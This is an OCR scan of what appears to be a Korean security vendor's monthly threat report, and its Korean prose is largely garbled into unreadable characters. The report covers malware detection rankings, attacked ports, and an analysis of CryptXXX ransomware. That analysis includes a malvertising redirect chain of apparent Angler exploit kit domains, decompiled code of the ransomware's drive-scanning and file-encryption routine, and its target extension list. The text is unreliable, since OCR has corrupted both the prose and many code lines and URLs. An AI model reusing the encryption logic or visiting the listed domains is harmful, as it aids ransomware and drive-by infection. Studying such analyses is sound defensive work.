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5 22 4 21} OEVIXIZ Locky 20} Cerber ERIO/ AEXCZ 27 H% ME HoIeH A7l 1= Cryptxxx

HEAIIIK] 7152 ERSUILE Gypbox HER0E 2.0 HEOM LE L SIEL FES Sofl 4 20 ==221=0]
M7 | ofdEU . et 5 E2HE Gypbox HE0] HEAKES 7IE 20 HT0| S8} 71solitt= AS 2felohl
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1. 4MTE S

2o ot TOP15

2 AETE Top 15 = AEAEPCOIM EIX[E AEYTEES 7 [HICZ L=5HSA 0|,

2016 5 &2 ZI&E YT E Top 15 E[AENAE X[HFO| 212} 1,23 IE XIXRIE QHIES 5,2 AKH

Misc.HackTool WinActivator 0| 3 12 Li247 k0 AEA| Trojan.Dropper.KRBankerAgent 0] 2 12 S22ATH MRS HIQlok =

HEHORZ JIZE A =S| HES0| WOl FE=|AUC

=T = oFITCE FIHH 71E[112] 24 gﬁ:#)
1 - Misc.Keygen Trojan 369
2 New Trojan.Dropper.KRBanker.Agent Trojan 282
3 1 Misc.HackTool.WinActivator Trojan 223
4 t2 Gen:Trojan.Heur2.CTR.2042c8C5aaqvcUPe Trojan 215
New Gen:Variant.Symmi.63701 Trojan 214
6 New Gen:Variant.Symmi.64158 Trojan 203
7 New Gen:Trojan.Heur.JP.xCO@a0)QD!oi Trojan 202
8 New Gen:Variant.Graftor.272300 Trojan 176
9 New Gen:Variant.Jaik.10505 Etc 172
10 New Gen:Trojan.Heur.5yXa4CUW7BfG Trojan 158
11 New Gen:Trojan.Heur.FU.uy3@a4o03kNdi Trojan 132
12 |5 Gen:Variant.Strictor.104294 Trojan 126
13 New Trojan.dropper. XXF Trojan 121
14 New Gen:Trojan.Heur2.CTR.2002faD9aa0YF@3e0 Trojan 112
15 New Gen:Trojan.Heur.4yXa4KXWZ2eG Trojan 112

R 7, AIE AISAIR| ZHSAIS BioH] LEst a9l 2016' 058 012 ~2016H 05231
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OFHTE FHE HIZ0M EZ0[=0KTrojan) 0| 71 B2 94%E XXM, 7|Et (Eto) R0| 6%= 1 FIS 0IUCt

7|E}t (Ete)
6% n EZ0|=0t (Trojan)

m AIO| QYO (Spyware)
= 0= (Adware)

m F2F (Exploit)

m & (Worm)

= 7|E} (Etc)

m 20 (Backdoor)

= HFO|A (Virus)

= 50|71 (Hijacker)

B SAEMA (Host)

FIE|n2[E oAdTE HlE ME Hlw

5 20ik= x|t 4 2ot H| w504 E201=0HTrojan) /& QST =T TR B7R1QH, 7 [ENEt) K2 2 ZASINUCE 7 [EXEt)
. _

O}
FE2 I AP AER =R |E0h= FFH0] X0 SAXA AEE = U= 6AP U= TiUS YEHO= TBIC,

e — ]
E=20| 50t (Trojan) ! 94k

AIO|Y0] (Spyware) | 9%
OH=20i(Adware) M, 5%
10X (Hijacker) | 9%

5

¢ (Worm) ., 4% w48
F|oFH(Exploit) | 9% n5g

HIOIZA (Virus) | 8%
i = 0{(Backdoor) | 9%
SAEMY(Host) | 9%

TIEHEL:) [,

0% 20% 40% 60% 80% 100%
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2. SILITH/EctE =4

5 &9l &%l Top 10 LE

oL/ HE +EE HUMHE Sl RRIE AFEFEIH AEohs ZE FHE A ofd EiTs TAIR K|

110 1433

3306 39% 2%

3% 3%
\

m25
m23
m22
= 5900
® 3389
= 8080
= 3306
=80
=110
m 1433

60%
6%

Z|Z2 374 ¢ Top 5 LE EE F0|

m20164 38
m20169 4¢
m20164 58

5900 23 3306
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3. 201 =4

QIoF QIERO|ES S5t AT AT 3
712t 201605301 ~2016' 20531
EN N 5,508 74

7IQ=E AL

7%= AT 7 Hig
Z2= 67 1.22%
EH b 8 0.15%
=22S 7 0.13%
=] 5 0.09%
B 5 0.09%
4 2 0.04%
glst 2 0.04%
of & 2 0.04%
= 1 0.02%
HIZ27t7] 1 0.02%
A AnZO]
K A0 A3 Z44= 365374 ThiH| O 2 5,50812= of QIEZ0|= Al A1 Zi4=7} & TH| 1,855 S7I3HH.
OH E2 X} 20| Z= o2 AN[L0| HEES ARRICH, QIS HE H =01015 7IERt 22 201 2018 AD[H0]
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=" = = o
E0[Z2Xt
=9 =ALLEE
1 [Web24l] Kacao : CHE ZH|(POOIAM H&EAUSLICH 2210 OfL™ R}ESH|
2 [ZHHE AMH|A] ZO1Z0| TEZHSLICE 2157
3 SHOUEIHH 2 Ojots W ALICH
Clr=EXt
= =AFLEE
1 022 0RE|E A=LICH BEAGIA0FSIHTAML.
2 [S7] LESIULHNME E7HEM & SIASLICHLHEER) .~
3 [WebZt4l] SBIX S 2L Ct
4 [QILH] ®MI2K} SH7|2 2 QFLHLICE
5 (23] DIAAS SMFEFMYLICH
6 (MO L)@ (TQE])0f @ (=Q ) &y LI Ch~~
7 (~"o"~(&h) SXIM ULILCH,
8 2 2 2/(Zn0] K&7t- TH"~
9 [ZUHE MH|A] EO|Z0| ZEEHSLICH 221517
10 HIZ27}7|
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[Trojan.Ransom.CryptXXX]4HIE
2M HIM

1. 71

0 SO0M= IRl 7FE Oler 7 =0T Qb= CryptXXX 2 RiI0f0]] CHOH0] 2416 H =5 SIIC

K|t =Y AFTAREE= S 6 2 3US AXCE 6 2 7 WIHK| =LH0A= T HRLIE| AO|EQ| EEHE S5101
A0 R[] TiohE RI2 B2 OIZAIS0] UH AT SO TfohE 24011 UL,

QU} 2Hi9)0f XiTHEAXIE TRHIS AT HI S 7|7+ 0] RIEH 2447t 255 S

s

21t QU

o A0 B2A7| e AT EAZ IR

50,000
45,000

42,359
40,000

35,000

30,444 30,399

30.000 28,356
g 22945
20,000
15,000 13.057 14,012
10,000

5.000

0

2016-06-01 2016-06-02 2016-06-03 2016-06-04 2016-06-05 2016-06-06 2016-06-07 2016-06-08
(12 1] 2CH A7 2 AU ARIRIE SH 124
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O[¢#0]| REEI AARAOH= B3 4 H0fl LZHE CryptXX ] HEOR TUSS " aypl” SHEIRIZ 55} AJ7 |, "Angler Explot
Kit'S 55101 REEICIT 5101 Angler Exploit Kit @) B! XXX & ZEI5101 CryptxX 2t FFEIZICH CryptOK T =S Crost

HZ0| &S| HEE UOMH S0 Telcl 25 7H=2| Ci=A ¢10] MH|IAE MiSe M= IXEO0|CH REXIE A
L7 ZEHES AOSIH SEX [R: 0|2K|E AR TAS As5ICt 0245t

llf‘lfafxl Fol=F 2ft SA0| =2210| F<fet Hl SHES =53
9t YT T} ZelE B4 78S "2HE ) (Malvertising)’ 32 7 [R0[241 ST,
THEIOFS2 0| HEIY 7|1t 2H| X|Holl S 0|< tH=AH 71t =2 eI R F20|Ct BHEO M| A4E=

201 SHZF0| EXHok= BAIEE Heo IjH:"3f0HE”EHJKI Sd(0]0] FPHO= 200 ZEE 7H580] =0t H¢

OfL|2} slig E1l SHES 0180k= APIESHIME 2EE 7580 =M.

AO|E &2t =
B|E 3ol
2 40 {'
E 222 i 2iobzo] oj3 @
= 24R40] 242
R4 neg oz | O
i dao 2
v 2 A z Az 21 25
s g A HE 391 237
o2
E>0 =i 8=
>34t ] 2 i o AOIE
- U=AhE Ojsh
L0}
RN~
=30 A

2
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2
2
Im

[T 2] CryptXXX 22)I0] "HHEIO ) 2 S
A= googleads &1 & "doubleclick net” Z3E Saf| HAE! O=MA

TIh=

UIEHE S SILIR! "OpenX’ U EHES Sol0| REE N2 =1 Tt
nX SUSHZ0|2h= SHO0| UM, [MetA H5 F2HOfLI2t 0] 1 SHES At

T2 OSAIA T3 -) G222 ) OpenX BTS2
0] 2 MOJET} 2hgo] Q0| OFSSHS 7H540] OFF Jrkm 8 4 QUCt,
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-> http//www.ppomppu.co kr/banner/google_ad.htmi (g# -?g 1)
--> https.//googleads.g.doubleclick.net/pagead/ads (GSS8)

-> https://banners.iohmarina.com/www/delivery/spcjs.php (*OpenX @& 0|X|")
---> hitps//banners.iohmarina.com/ads/www/ddivery/spcjs.php (*OpenX & #0|X|*)
---=> http://assaillironbetaalbaarheid forladieswholead.co.uk/ (Angler EK) (6/3)
-—--> http://epilions-theclogical.greatroyalseals.com/ (Angler EK) (6/3)

----> hitp://adulatre.greatroyalseals.com/ (Angler £K) (6/3)

----> http.//unausgefuelitem.newhotelcosmos.com/ (Angler EK) (6/3)

----> http://suolarahoista-Osession morelifelesswork.co.uk/ (Angler EX) (6/3)

----> http://keskenkasvuisuutta theresmoretolifethanwoerk.com/ (Angler EK) (6/3)

----> http://leksyka-circonstanciel theresmoretolifethanwork com/ (Angler EK) (6/3)

----> http.//rlevybotown-vigler.unstoppablesuccess.co.uk/ (Angler EK) (6/3)

--—--> http://paperinenhanpukus.andrewmorrisgolf.com/ (Angler EK) (6/4)

----> http://moniarvoiseenonverslaan.clickacoin.co.uk/ (Angler EK) (6/4)

-—--> http//meesterwerken rocketboyrecordings.co.uk/ (Angler EX) (6/4)

----> http://stortkokers. hi-vibe.co.uk/ (Angler EX) (6/4)

-—-> http.//degradedness.hi-vibe.co.uk/ (Angler EK) (6/4)

-=-=> http://mkikutiappellaminique.hi-vibe.co.uk/ (Angler EK) (6/4)

-—-> http://toenten-zluminon.hi-vibe.co.uk/ (Angler EX) (6/4)

----> http://spaerangemerktem.hi-vibe.eu/ (Angler EX) (6/4)

--—--> http://konservatiiveilla.hivibe.eu/ (Angler EK) (6/4)

----> http://hamandcheeseinsuto.hivibe.eu/ (Angler EK) (6/4)

-—--> http.//paandersasikita livebitcoin ¢?Ivls .com/ (Angler EX) (6/4)

----> http: //warr:delpaconderent lowry! er be/ (Angler EK) (6/4)
; ba .

0 Ml(rosof' Security EssentialsOjA{ O] ¥ AJO|ES| RHAE 1}
et

s o8 &
g

— http //2duplant|er Iowrydennfo/ (Anglef EK) (6/5)
----> http://cabuy-korikataswingier.e-akd.com/ (Angler EK) (6/5)

-—-> http://verjaardagboek e-assistkd.com/ (Angler EK) (6/5)

---=> http://rutikuivassa.originalwkc.co.uk/ (Angler EX) (6/5)

-—-> http.//stirrupOdunt.iiscb.com/ (Angler EX) (6/5)

----> http://aniyome-holese lanioils.com/ (Angler EK) (6/5)

-—-> http.//glq.wkcengland.com/ (Angler EX) (6/5)

----> http://surequiperaitusione. hiit90.co.uk/ (Angler EK) (6/5)

--—--> http.//krotensuikermechosa.wkescotland.com/ (Angler EX) (6/5)
----> http://necklikempiinnl. kfmradio.co.uk/ (Angler £K) (6/5)

----> http://shirskimdewbespattered richardforth.com/ (Angler EK) (6/6)
----> http://aspergebedden mrieigh.com/ (Angler EK) (6/6)

----> http://tapahtumajoukosta.buziness.directory/ (Angler EK) (6/6)
----> http://studicidenievent mydoolies.com/ (Angler £K) (6/6)

----> http://podajacysuplemnt.chrono.zone/ (Angler EX) (6/6)

..... > CryptXXX SHAI%0) (2 463F)

(22 3] &4 R Z2| (B B4 SKA AN

hystricism-internetportal. lowryder be

o Ll Wi FHOIXIZ OjF

o
EssentialkOJA] O) AJOjE 8 BURSUG

HEO YN0 - HER 2N 4+ 2USS & Mcrosoht
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2. 4331 Ml =4

2.1 ojEe

Detection Name File Name MD5 Size(Byte)

Trojan.Ransom.CryptXxX CryptXxXdll DD4E29CD72E802C99B1062ADEAG25DA5 298496

2.2.1 DLL mpdof| efgt 2

OJEf7A CHEEC| HMLS2 ARBA A Al 7FS St exe YEHE HHIEE[RACE, 2Lt CryptXXX = &ZAQI Payload 7t
DLL 2| YE{Z HiE=|31 oM, DLLMain O] ASEITHA F71MQ1 Export 7/t AlEl= —TLE.E% Flok UCt. A=
AlBHE|H undl32.exe £ DLLIFIO0| Q= %’—IXI svchost.exe 2h= 0|SCE SAfSt F F7MO = Export elrsS= ASHAIZICE
= D sychost exe 2316 2090 1702 M, B2 MB  WMEPEE-T4d,, Wvmxp

D sychost exe 2384 284 MB  WMEPBE-T44, Wemep

[J2! 4] DLLMain A28 5 svchostexe(undl32.exe) ZEMIAT | LR AAE| D

CryptXXX DLL 2 Cl=2| Export 45 Mi&Zolil M, AT == svchost.exe(AMIZE undl32.exe) ZEMAS AMAGIHA|
TSt Export g+ 0|52 QIKIZ HEGI0] SHE Export BF+E AYAIZIC. Of2h= CryptXXX OlA] Export SHL Y= =52
LIEfH Z40(CY,

COrdinal Functicn RvA | Name Ordinal | Mame RVA Marne
(nFunctions) Dword Waord Dword sZANS
00000001 O001EFE4 0000 0002807A MX54
00000002 000206F4 0001 00028075 MX53
00000003 QOO01F150 0002 00028070 Mx52
00000004 QO01F18C 0003 Q0028068 MX51
00000005 00020730 0004 00028066 MXS0

[32! 5] Export function list

ESTSOﬂ' Copyright by ESTsoft corp. All rights reserved.
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ol

2 71S2 Ol2Het 2L,

Export

0

DlEntryPoint Ll

MXS0 HHF 201 = ZFE(0] UK IO MXST £
MXS1 MXSA,MXS2 2| AlolS Lot Mol 2 SE
MXS2 @cs

MXS3 INT3 Exception S 0182t MXS1 &

MXS4 S8 DM ZHE= 3 MXS3 2

222 MY efs3

AARIO] EXlich= E210|2 ZXIES H0{2%A Drive Type 2 HOI2L0H AAR0] ZEXHSH= E20|ES S

A2 &S 51o| A0 | EIC, (GetDriveType -y EncryptlLoop)

FI™E]
loc_7301BEBA:
lea eax, [ebp+var 4]
call @systen@BLStrclriqqrpy ; System::
lea eax, [ebpsvar_14]
moy dl, byte ptr [ebpesvar_16]
call unknown_libname_68 ; BDS 2005-208;
mou edx, [ebpsuar_14]
lea eax, [ebp+var_8]
mou ecx, offset _str_ .Text
call @systen@RLStrcataqqre ; System:z:
moy eax, [ebprvar_8]
call @Systen@@ StrToPChar$qqrx175ystent
; lpRootFPathHame
||:a11 l:etl]ri.uel’;;en |
moy [ebpruar_C], eax
mou eax, [ebprvar_C]
sub eax, 2
jz short loc_73@1BF16
PP
dec eax
jz short loc_73@1BF 09
1
F™E]
dec eax
jnz short loc_73®iBF21

eax, [ebpeuvar_u]

edx, [ebpruvar_8]

lea eax, [ebpruar_u] @systen@BLStrLAsgSqqrpupxy ; Syste
nou edx, [ebprvar 8] short loc_7301BF21

call @systen@@LStrLAsqgSqqrpupsy ; System::  linkproc LstrLasg{uoid *, void =)
jnp short loc_73@1BF21 |
I *'=

loc_7301BF21:

loc_7301BF@9:

cnp [ebp+var 4], @
jz short loc_7301BF3A
[
L J
eax, [ebprvar 18]
edx, [ebpruar_4]
Bsysten@@StrFronlStrigqrr17systen@itideStringx17systen@ansistring ; System:z:_ linkproc__ WStrFromLStr(System::WideStr

eax ebp+var 18
EncryptLoop

[32! €] GetDriveType 30| 2S5t REEnaryptLoop) 22 00X |= S22
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EAOt= AL EXHok=s =2H0[2E AASIH E2101H ELRI0] 02| AR S SiLtol ofidolH &t
E|RAC.

DRIVE_REMOVABLE 0[SA] E210|E(USB AHEEHA| S)

DRIVE_AXED Y E210|E(HDD, SSD S)
DRIVE_REMOTE HE= E210|E

X

AIR0f TS ZAAGI0] IHRU| SR} OfRe} ZHOR QIE3IS FIyBIL,

—_
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SDMe
3D5+
362+
SGEP
ADB+
ADL+
AMP+
AZD
ABM
ABE+
ABW
ACCDEH
ACTH
ADMN
ADP+
AESH
AF2H
AR
AFTH
AFX
AGIF
AGP
AHD
AICH
AR
AIM
ALBM«
ALF+
AN
ANEH
APD+
APKS
AP+
APNGH
AFRR
APRS
APT+

BMA+
BND+
BOCH
BOK+
BRDw
BRE+
BRM+
BRT+
B5S+
BTD+
BT
BTR+
BZ2+
oy
L2+

40+
LALY
LCALSH
AN
LD5+
LDB+
LDC+
LDGs
LDMM-
LDMT+
DR+
LCDR3+
LCDR4+
LCDRB+
LDT+
LCER+
LR+
LFGH
LCFM+
LFU+
LG

LW+
LVGEH
LI+
LWVE+
LW
LWT+
LCXF+
LY
LDAD
DAF+H
DB+
DB3+
.DEF+
DBK+
DET+
DB+
DBX+
DCa
DCB+
LDCH+
DS+
LDCT+
DT+
DiCH+
DDL+
DDOCH
DDS+
DED+
DF1+
DiGM+
DiES+
DHS+
DIB+
DIF+
DIP+
LD+
DU+

DXB+
LDXF+
D¥L+
ECO+
ECW+
ECH+
EDE+
EFD+
EGC#H
EID+
EIP+
EIT+
EMD+
EMF+
EML+
EMLX+
EPF+
EPP+
EP&+
EPSF+
EQL+
.ERF+
.ERR+
ETF+
ETH+
EUCH
EXR+
FAL+
FAD+
FAK
FB2+
FB3+
.FEL+
FBX+
FCD+
FCF+
FDE+

FLA
FLI+
FLR+
FL
FM 5
FhA
FODT#
FOL+
FP3+
FP4+
FP5+
FPT+
FPOS+
FPT+
FPX+
FRM+
FRT+
FT10#
FT11+
FT7+
FTE+
FT9+
FTM+
FWDMN+
FXCH
FXG+
FZB+
FE+
GADGETH
GEK+
GER+
GCDP+
GDE+
GDOCH
GED+
GEMS
GEO+

HPI+
HPL+
HTCH
HThA+
HTML
HWE+
13D+
IB+
IBD+
IBOOKSH
JCMN+
ICOM+
IDC+
IDEA+
DX+
IFF+
IGT+
IGK+
JHX+
JIL+
I+
IM D+
INDD+
IMNFO+
IME+
IPF+
IP¥+
ITDE+
ITW
W
J2C+
J2I
JAR+
JASH
JAWAL
JB2+
JBMP+

JSP+
JTH+
WL
JHR#
KDE+
KDEBX+
KDC+
KDI+
KDE+
JESH
JEYS
KICH
LG+
KL+
JMEZ
JENTH
JOM
JKPGH
SN D
LAY+
LAYS
LEM+
LET+
LDF+
LGC+
LIS+
LIT+
LIB+
LMEs
LMNT+
LP2+
LRC+
LET#
LTR+
LTH+
LUA
LUE+

MAN+
MAP+
MAQS
AT
MAXS
MB+
MEM+
MBOX+
MDEB+
MDF
MDD M+
MDT+
ME+
MEF+
MELL+
MED+
MFET+
MGCB+
MGMT+
MMGMX
MID+
MIM+
M
MMMATH
ML
MMGH
MR+
MMNT+
MOBI+
MOEH
MOV
MP3+
MP4s
MPAS
PR+
MPG+
MPO+

OBJ+
LOC3
OC4a
L5
OCE
OC
LOCR+
LODE+
LODG+
LODM+
LODo+
ODP+
LODs+
LODT+
OFL+
OFT+
OMF+
OPLCH
Ogy+
LORA+
ORF+
LORTH
LORX+
OTA
OTG+
OTI+
OTP+
OTE
OTT+
OWP+
OWVR+
OWC
LOWGE
OYH+
OZB+
Kol I
OZT+

.PEF+
PEM+
PFF+
PFI+
PFS+
PR+
PEX+
PGF+
PGM+
PHM
PHP+
PI1+
PL2+
PI3+
PIC+
PICT+
PIF+
PIx+
PIPG+
PIT#
PLT+
PLUGIMN+
PMGH
PMNG+
PMI+
PMNM+
PMNTG+
PMNZH
POP+
POT+
POTM+
POTH+
FPR4s
PP5+
PPRAM
PPM+
PPS+

FPRTh
FPRTH+
PRF+
PRIV
FRIVATE+
PRT+
PRW
PED+
PEDH
PSE+
PEID+
PSP+
FPEPIMAGEH
PEWS
PTG+
PTH+
PTH+
P
PR
PWR+
PiAs
PWI
PWRS
PXR+
P34
Piav
PZP+
PES
LQCOW2e
QDLe

ESTsoft
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AP LM+ DM3+ | FDE# GFB+ JBR+ LUF+ MRGH | P12# PPEM+
ARCH LIMG+ | .DMIH FDR# GGR+ JFIF+ LWO+ [ MRXS+ | PTS+ PPRSXs
ART#H LCIM+ DMO+ | FDS+ GIF JLA LWP+ [ MS11+ | POB+ PRT#
AR LIT+ DMNC+ FOT# GIH+ JIE+ LWs+ [ MSG+ Paiy
ASCH KPR+ DME+ FOs GIM+ JESH LT+ MSIH PAGESH
ASE LCLASS+ | .DOCH FOXT+ | GIO+ JMGH LW MTS+ PAL+
ASF CLEW+ | DOCB+ | FES#+ GLOX+ JOE+ I+ MUD | PAN+
ASK CMA+ DOCM+| FFT+ GPD+ JP1+ M3ID+ [ MWEB+ | PANO+
ASM LMD+ LDOCKA | FH10+ [ GPGH JP2+ MU [ MWP | PAPS
ASP O+ DOCZH | FH11+ | GPM+ JPE+ Idbs [ ML PAQ
ASPHe | CMNM+ | DOT# FH3+ GEX JPEG+ M [ MYD+ PASH
ASW LNV DOTM+| FHA+ GRO+ JPG# IlA YT PBE+
ASK LCOoLZe | DOTH+ | FHS+ GROB+ JPG2+ MACE [ MYL+ PEM+
ASY LCPC+ DP1+ FHE+ GRS+ JPS# MCR+ PC1+
ATY CPD+ DPP+ FH7+ G5D+ JP¥+ MNCTH PC2+
SN LPGe DR+ FHE+ GTHR+ JRTF# MDF+ PC3e
AWDEB+ | .CPR+ LDQy+ FIC+ LGTR MEF+ PCD+
LSWES LRSS+ LDRW+ | FID+ LW MFO+ PCSe
SNT LCPT+ DRZ+ FIF+ H+ NI PCTH
AW | CPE DS+ FIG+ HEK+ LM PCHe
SATT CRD+ DEM+ FIL+ HDEBE+ NOTE+ | .PDB+
BAD+ CRT+ DEVS HDP+ MNOWs | PDD+
BAYY CRWL+ | DT2+¢ HDR+ MNEW+ | PDF+
BBE+ CRYPT+| .DTA+ HHT+ MNE24 PO+
.BDE+ LCER+ DTD+ HIS+ MNEZH PDM+
BDP+ LCES DTSX+ HPG+ MEL PD5
.BDR+ LCEMY DTW+ HPGL# MSF+ PDT+
BEAM+ | CSY+ DWT+ MNV24 PE4#
.BIB+ LCUE+# DWLe MY F

B2 WG+ MZB#

BMP+

BMXa
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OMGH
QP
LJRY 4
OVD+

RTH+
RUM+
R
WL
RZK+
RZM+
S2MNVH
S3M
SAF
SALY
SAM+
SAVES
SBR
SCAD+
SCC+
SCH+
SCIH
SCM+
SCT+
SCW
SCW+
SDB+
SDF+
SDM+
SDOCH
SDWe
SEP+
SFCH
SEWe
SGM#
SIG+

SITx+
SK14
Sk
SKM+
SLA
SLD«+
SLDH+
SLKE+
SLM+
SLS+
SMF+
SMIL+
SME
S0OB+
SPA+
SPE+
SPH+
SPI+
SPRe
SPOQ
SPR+
SQEB
SQL+
SQLTE3+
SQLUTEDE+
SR2+
SRT+
SRW
SEA
SSK+
STC+
STD+
STE+
ST+
STM+
ST+
STPR+

STR#
STW
ST+
SUB+
SUMO+
SWAL
SV
SVGEH
SVGET
SWEF+
SHCH
SXD
SHGH
SHI4
SHEMe
SHWS
.T2B+
TAB+
TAR+
JBO
TJBE+
TBMN+
JCH+
TDF+
JDT+
TE+
TEX#
TEXT+
TR+
JTFC#
TG4
JGEA
TGE
THM+
THP+
TIF

JIFF+
TP+
TLB+
JLC#
T2+
TMD+
TP+
T
T
TME+
JPC#
TP+
JTRM+
T
TETH
3D+
U3+
DB+
MFO
LIFR+
LGA
LI
UOF+
ISP
LIOT+
LPD+
ISR+
UTF8+
UTHT+
N2+
NB+
NEBR+
NBSH
NCR
NCT+

MCHPROJ
NDA+
NDB+
NDI+
NECH
MFF+
MWDK+
MWL
MM+
NNT+
NOB+
NPD+
NPE+
MRML+
NRP+
NSD+
NEDM+
MEDHH
MEM+
NET#
METX+
NUE+
RUARTES
ANV
MWELs
WEBCH
MWED+
IWBES
JWEM+
JWEMP+
MWEBLH
MWCR+
MWDE+

WDP+
JWEEBP+
WG
WIRE+
IWESH
WM AL
WMDE+
MWIMEF
MMV
JWPR4
JWPS#
MWPE
MPT
JWPAY
JWPD+
MWPE+
WPGH
JWPL+
WPSe
MWPTH
JWPW
JWRIH
MWECH
WEDw
MWER
MWEH+
TR
L
K30+
K3F¥
KARS
HACODEPROI
KDB+
a

HDL+
HHTM+
HHTML+
KLC+
XLD+
XLF+
HLGCH
HLM+
HLR+
XLE+
HLSB+
HKLEM#
KLSX+
XLT+
HLTM+
KLTX+
XLW+
XML+
HPM+
KPS
JOWP
XY 3+
KX P+
XYW
HNALY
YBK+
NiIL+
NEP+
YU+
L3I0+
ZABWS
ZDB+
ZDCH
LIF+
ZIP+
ZIPX+
LW
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Z= EXE0| Ofell 2XHE0| Zefel= B9 Y=e} L0l HILlE.

A8A7F460 I TRTE ! "SAFABC™L AN

ABA7YF464| AAAB132C "“SALLUSE™ s
ABAYF463 | AAAB1344 "SPROGRA ™ SN
ABA7F46C| ABAB13LC "ASPROGRA ™25\
ABA7F478| AAAB1374 " SAPPDATANN
A8A7F474| ABAB138C "ASPROGRA ™IS
ABA7F473 | ABAB13A4 "APUBLI G

ABA7F47C| BBAB13BC "AUTOEXEC.BAT™
ABA7F488 | AAAB13DE "THUMBS . DB
A887F464| OBAB13FA "SAPPLI G
ABA7YF488 | AOAB1488 "ANCOOKTIESS A
Aaa7F48C| O8AB1428 "OSLOCALS ML
BEB?F49B 33931433 " ASTEMPLA ™ SN

FirlrE Firtr

Wi 7]°*§§ F CHAIOA 11|9|5|L 74Z0| ol

\\WINDOWS\\ \\WINNT \\RECYCLER\\ \\SYSTEM~1\\
\\BOOT\\ \\RECOVERY\\ \\$RECYCLE.BIN\\ \\PERFLOGS\\
\\EFI\\ \\CONFIG.MSI\\ \\PROGRA~1\\ \\PROGRA~2\\
\\GOOGLE\\ \\TEMP\\ \\ALLUSE~T\\ \\APPDATA\\
\\PROGRA~3\\ \\PUBLIC\\ AUTOEXEC.BAT THUMBS.DB
\\APPLIC~1\\ \\COOKIES\\ \\LOCALS~1\\ \\TEMPLA~1\\

A0 HEKR= = ;f 5}3’_3% of= MU2| 3771 13,631,488(0xDO0000) HIOIEE EE 22 Z[MH 13,631,488 HfO |EDt
2f=s} ol LHHA| 222 fsep} E[X] E= siFi. OAH] 52 isept & MA0| A= 24| 20| =i/t
& Z0|Lt ORP K= = %Ef

i = GetFileSize (u52);
if ( (signed  inté6a){unsigned int)i <= exDOeeee )// I U=z Al0|== exDoessaa]2H3H 21

ulh = ij /f WOl 18HIZHECH Ef2E ur% ADIZE JHZE ALE
else
ukl = 13631488; A7 0] 1SHIZH2CH 23 13HI2HE ZIH AHDIEZR AE

(12 8 ZIh T ASSHA =

k3= O Bftel Cyppox 24 2] THele] 0xkObyte 213 B717 12 2153 511 OxIFF 218 71| OIS 0183
XOR E3IS ZI5p| EIC. M2tk 0x203F S22 Hi9|2 9157} TIEL,
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if ( ReadFile_ 8{v53, hFile[1], vi6, &u52, v25, w26, vZ27, w28, v20, v3d, HIDWORD{uIA)) )

{

4

for { szFile = GetFileSizeFunc{hFile); ; szFile —-= Bx203Fi64 )//F O=1FFF + Bx48 = Bx2083F

{

if ( HIDWORD{szFile}) )
{
if { SHIDWORD(=szFile) <= @ )}
goto FinalizeEncrypt;

4

else if ( tszFile )

i
goto FinalizeEncrypt;

H
if ( szFile <= Bx48 ) A TR 20121 exue=2CH =
{
LoadFileBuffer{hFile, szFile);
if { UsePublicKeyEncrypt{&uvh5, szFile, u56) )
WriteEncryptBuffer{uvit, &uis, Bx88);
else
EncryptRetFlag = 2;
goto FinalizeEncrypt;
H i
i
LoadFileBuffer{hFile, Ax48); A4 BxuBft=2 St public key= Encrypt
if { tUsePublicKeyEncrypt{&ulS, Bx48, uSha) )
{
EncryptRetFlag = 1;
goto FinalizeEncrypt;
H
WriteEncryptBuffer {uvhs, &uLs, Bx80); ff EncryptE HEIt 8x880| T|2= B8xE80I=E WriteFile
if { szFile — Bx48 <= B=1FFF )

break; i
i
LoadFileBuffer{hFile, Bx1FFF); /4 Bx1FFFRE ZIHZt Heytablell X0R Encrypt

Encrypti0R{&va45, Bx1FFFu, &uvi5, B@21FFF, Bx1FFF};
WriteEncryptBuffer(ui6, &uiS, Bxz1FFF);

b ff
rf
UL = szFile - Bx4@; ff =2 22 0122] %0R Encrypt

if { szFile — Bx48 > 8 )

{

e

LoadFileBuffer{hFile, uvlf);
EncryptX0R{&uvLS, Bx1FFFu, &uhL, uvii, Ox1FFF);
WriteEncryptBuffer{uvhs, &uiS, uvhi);

(021 9| 255t 25|
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ojd efseH LI I 20| 0x118 byte 2F AR} 7| HOIS= S717 1= ¥=3} 610 20 ==L

if ( tEncryptRetFlag )
{
SetFilePointerEx{v53, 8, 8, A, 8);
u3l = &ut2;
u29 = GetFileSizeFunc{uus);
if ( WriteFile @8{v53, vuas[1], v29, vid, HIDWORD({v3@)}) )
{
vl = 1000;
EncryptKeytableWithPublickey{u58, v56, &u33});
System::_ linkproc__ LStrToString{255, v33);
SetFilePointerEx(vs2, 6, 8, 8, 2);
if ( vhli <= 8 )
{

if { WriteFile_B{v53, &ua1, Bx118, &u52, @) < 1 )/7 W2 EH HKeytableES public key= ZZFF 0 8=x11805HF 2L
EncryptRetFlag
H
else
{
v3il = RuSZ;
u29 = GetFileSizeFunc{hFile);
if { WriteFile_@({vu53, hFile[1], v29, u3@, HIDWORD({u3B8)) }
{
if { WriteFile B(v53, &us1, B8x118, &u52, B8) < 1 )
EncryptRetFlag
H
else
{
EncryptRetFlag

}
[12!10] 7| EHO[2 2=3} 510 ¢

o551z 22 &7| 0x80 HIO|E= 6-7}{7 |= ==t E|0f A2 Ox1FFFbyte = 7| E|O[S2} XOR =8t E|0f ULt 22|37 Tfd
OFX[2{0fl 7| BlOIS2t S7H7 1= Y52t Ox118byte 2 MO 7+ L 7| HIO|EVZH SIH7 |2 S8t E(0] 7| WO
W17 7} GloH Aot S5 Aake OfRICE

Offsect(h) 00 01 02 03 04 05 06 07 08 09 OA 08 0OC

@113 is Python v 00000000 QER E1 33 A3 90 29 33 96 82 7F AR A3 3R
ersion 2.7.6..== 00000010 D6 B2 63 7D CC 8A Bl 8A DF
00000020 §16 3A 3B Al AS A7 mbyte 30 44 73
«+..Co 00000030 78 05 32 E3 BB A0 0B C7 8B 26 05 B3 4C
pyright (¢) 2001 00000040 §F4 94 S2 09 E2 6F ZE CO 9A 59 DO C1 79
» 2002, 2003, 20 00000050 §81 83 65 17 9E 15 C5 67 D2 70 94 36 A0
04, 2005, 2006, 00000060 J§3E E9 C6 8E 02 7D 34 F6 AF 46 D3 72 1C
2007, 2008, 2009 00000070 §AS B2 19 A8 96 9D 7E E1 3B CS AF 64 5B
» 2010, 2011,..2 00000080 §6S 46 90 E7 9D DE 36 C3 SB 7D D7 F9 93
012, 2013 Python 00000090

Offset (h) 00 01 02 03 04 0S 06 07 08 09 OA OB OC OD
00000000 [F4 62 69 73 20 €8 73 20 SO 79 74 68 6F 6E
00000020 |65 72 73 69 6F 6EIAmTAEIAE37 2E 36 0D OA
